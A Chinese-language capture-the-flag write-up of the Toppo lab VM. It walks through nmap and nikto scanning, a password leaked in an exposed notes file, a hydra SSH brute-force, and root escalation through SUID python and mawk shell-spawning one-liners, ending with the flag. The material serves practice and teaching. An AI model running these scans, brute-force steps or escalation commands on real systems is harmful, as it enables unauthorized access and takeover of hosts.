Write-up-Toppo
作者：互联网
title: Write-up-Toppo
date: 2018-10-30 19:44:14
tags: CTF
categories: CTF
---
关于
信息收集
- vmnet8网卡，IP：192.168.131.144，开放web，ssh服务
➜ ~ ip a show dev vmnet8
5: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 1000
link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff
inet 192.168.131.1/24 brd 192.168.131.255 scope global vmnet8
valid_lft forever preferred_lft forever
inet6 fe80::250:56ff:fec0:8/64 scope link
valid_lft forever preferred_lft forever
➜ ~ nmap -sn 192.168.131.1/24
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-30 19:46 CST
Nmap scan report for 192.168.131.1
Host is up (0.00055s latency).
Nmap scan report for 192.168.131.144
Host is up (0.00093s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 3.08 seconds
➜ ~ nmap -T4 -A 192.168.131.144
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-30 20:01 CST
Nmap scan report for 192.168.131.144
Host is up (0.43s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
| 1024 ec:61:97:9f:4d:cb:75:99:59:d4:c1:c4:d4:3e:d9:dc (DSA)
| 2048 89:99:c4:54:9a:18:66:f7:cd:8e:ab:b6:aa:31:2e:c6 (RSA)
| 256 60:be:dd:8f:1a:d7:a3:f3:fe:21:cc:2f:11:30:7b:0d (ECDSA)
|_ 256 39:d9:79:26:60:3d:6c:a2:1e:8b:19:71:c0:e2:5e:5f (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Clean Blog - Start Bootstrap Theme
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 41760/udp status
|_ 100024 1 44661/tcp status
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.36 seconds
- nikto发现了admin目录还有一个mail目录。
➜ ~ nikto -h http://192.168.131.144/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.131.144
+ Target Hostname: 192.168.131.144
+ Target Port: 80
+ Start Time: 2018-10-30 20:04:51 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.4.10 (Debian)
+ Server leaks inodes via ETags, header found with file /, fields: 0x1925 0x563f5cf714e80
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.10 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3268: /admin/: Directory indexing found.
+ OSVDB-3092: /admin/: This might be interesting...
+ OSVDB-3268: /img/: Directory indexing found.
+ OSVDB-3092: /img/: This might be interesting...
+ OSVDB-3268: /mail/: Directory indexing found.
+ OSVDB-3092: /mail/: This might be interesting...
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /manual/images/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7535 requests: 0 error(s) and 15 item(s) reported on remote host
+ End Time: 2018-10-30 20:05:10 (GMT8) (19 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
- admin目录里有一个notes.txt文件，这是他以前的密码:/ 12345ted123。而且提到了技术，钓鱼和足球。社工有用。
➜ ~ curl http://192.168.131.144/admin/notes.txt
Note to myself :
I need to change my password :/ 12345ted123 is too outdated but the technology isn't my thing i prefer go fishing or watching soccer .
➜ ~ 爆破ssh
- 生成字典爆破ssh，用户名ted，别问我怎么知道的全网都是猜出来的，只能说出题人没给太多的提示，直觉。
- hydra爆破得到密码为12345ted123
➜ pydictor git:(master) ✗ python pydictor.py -plug scratch http://192.168.131.144/admin/notes.txt
_ _ _
_ __ _ _ __| (_) ___| |_ ___ _ __
| '_ \| | | |/ _` | |/ __| __/ _ \| '__|
| |_) | |_| | (_| | | (__| || (_) | |
| .__/ \__, |\__,_|_|\___|\__\___/|_|
|_| |___/ 2.1.1#dev
[+] A total of :11 lines
[+] Store in :/home/kali-team/Kali-Team/password-recovery/pydictor/results/scratch_214601.txt
[+] Cost :0.0451 seconds
➜ pydictor git:(master) ✗ cat results/scratch_214601.txt
myself
password
12345ted123
outdated
technology
thing
prefer
fishing
watching
soccer
admin
➜ ~ hydra -l ted -P Kali-Team/password-recovery/pydictor/results/scratch_215638.txt ssh://192.168.131.144
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2018-10-30 21:57:18
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 11 tasks per 1 server, overall 11 tasks, 11 login tries (l:1/p:11), ~1 try per task
[DATA] attacking ssh://192.168.131.144:22/
[22][ssh] host: 192.168.131.144 login: ted password: 12345ted123
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-10-30 21:57:21
提权GetFlag
- 找开启了SUID权限的应用
ted@Toppo:~$ id
uid=1000(ted) gid=1000(ted) groups=1000(ted),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),114(bluetooth)
ted@Toppo:~$ find / -perm -u=s -type f 2>/dev/null
/sbin/mount.nfs
/usr/sbin/exim4
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/python2.7
/usr/bin/chsh
/usr/bin/at
/usr/bin/mawk
/usr/bin/chfn
/usr/bin/procmail
/usr/bin/passwd
/bin/su
/bin/umount
/bin/mount- 找不用root密码就可以用sudo的应用，发现mawk，和Python2.7都不用。
ted@Toppo:~$ cat /etc/sudoers
ted ALL=(ALL) NOPASSWD: /usr/bin/awk
ted@Toppo:~$ - py,
- mawk
ted@Toppo:/bin$ python -c 'import pty;pty.spawn("/bin/sh")'
# id
uid=1000(ted) gid=1000(ted) euid=0(root) groups=1000(ted),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),114(bluetooth)
ted@Toppo:/bin$ id
uid=1000(ted) gid=1000(ted) groups=1000(ted),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),114(bluetooth)
ted@Toppo:/bin$ mawk 'BEGIN {system("/bin/sh")}'
# id
uid=1000(ted) gid=1000(ted) euid=0(root) groups=1000(ted),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),114(bluetooth)
# cat /root/flag.txt
_________
| _ _ |
|_/ | | \_|.--. _ .--. _ .--. .--.
| | / .'`\ \[ '/'`\ \[ '/'`\ \/ .'`\ \
_| |_ | \__. | | \__/ | | \__/ || \__. |
|_____| '.__.' | ;.__/ | ;.__/ '.__.'
[__| [__|
Congratulations ! there is your flag : 0wnedlab{p4ssi0n_c0me_with_pract1ce}
记录
- 在测试过程中我发现，Python有root权限，执行bash和执行dash返回的权限不一样，bash返回的是普通权限，而dash返回的是root权限。发了三次朋友圈求助终于明白了。其实bash加参数-p使用Posix模式也可以获取root权限。这里接触到了一个新的知识是POSIX 1003.2规范的标准，有兴趣的可以去搜索一下。我就不在这扯了。估计能写几页。
ted@Toppo:~$ python -c 'import os;os.system("/bin/bash -p")'
bash-4.3# id
uid=1000(ted) gid=1000(ted) euid=0(root) groups=1000(ted),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),114(bluetooth)
bash-4.3# exit
exit
ted@Toppo:~$ python -c 'import os;os.system("/bin/bash")'
bash-4.3$ id
uid=1000(ted) gid=1000(ted) groups=1000(ted),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),114(bluetooth)
bash-4.3$ exit
exit
ted@Toppo:~$ python -c 'import os;os.system("/bin/dash")'
# id
uid=1000(ted) gid=1000(ted) euid=0(root) groups=1000(ted),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),114(bluetooth)
# exit
root 1926 0.0 1.0 10988 5420 ? Ss 11:05 0:00 \_ sshd: ted [priv]
ted 1928 0.0 0.7 10988 4088 ? S 11:05 0:00 \_ sshd: ted@pts/0
ted 1929 0.0 0.8 6376 4288 pts/0 Ss 11:05 0:00 \_ -bash
root 2011 0.0 1.1 9816 6120 pts/0 S+ 11:13 0:00 \_ python -c import pty;pty.spawn("/bin/bash")
ted 2012 0.0 0.6 5448 3528 pts/1 Ss 11:13 0:00 \_ /bin/bash
ted 2013 0.0 0.4 4768 2548 pts/1 R+ 11:13 0:00 \_ ps aux f
root 1926 0.0 1.0 10988 5420 ? Ss 11:05 0:00 \_ sshd: ted [priv]
ted 1928 0.0 0.7 10988 4084 ? S 11:05 0:00 \_ sshd: ted@pts/0
ted 1929 0.0 0.8 6376 4288 pts/0 Ss 11:05 0:00 \_ -bash
root 1998 0.0 1.1 9816 6012 pts/0 S+ 11:11 0:00 \_ python -c import pty;pty.spawn("/bin/dash")
root 1999 0.0 0.2 2272 1380 pts/1 Ss 11:11 0:00 \_ /bin/dash
root 2001 0.0 0.4 4768 2416 pts/1 R+ 11:12 0:00 \_ ps aux f标签：bin,11,Toppo,ted,up,192.168,Write,root,1000 来源： https://www.cnblogs.com/Kali-Team/p/11131942.html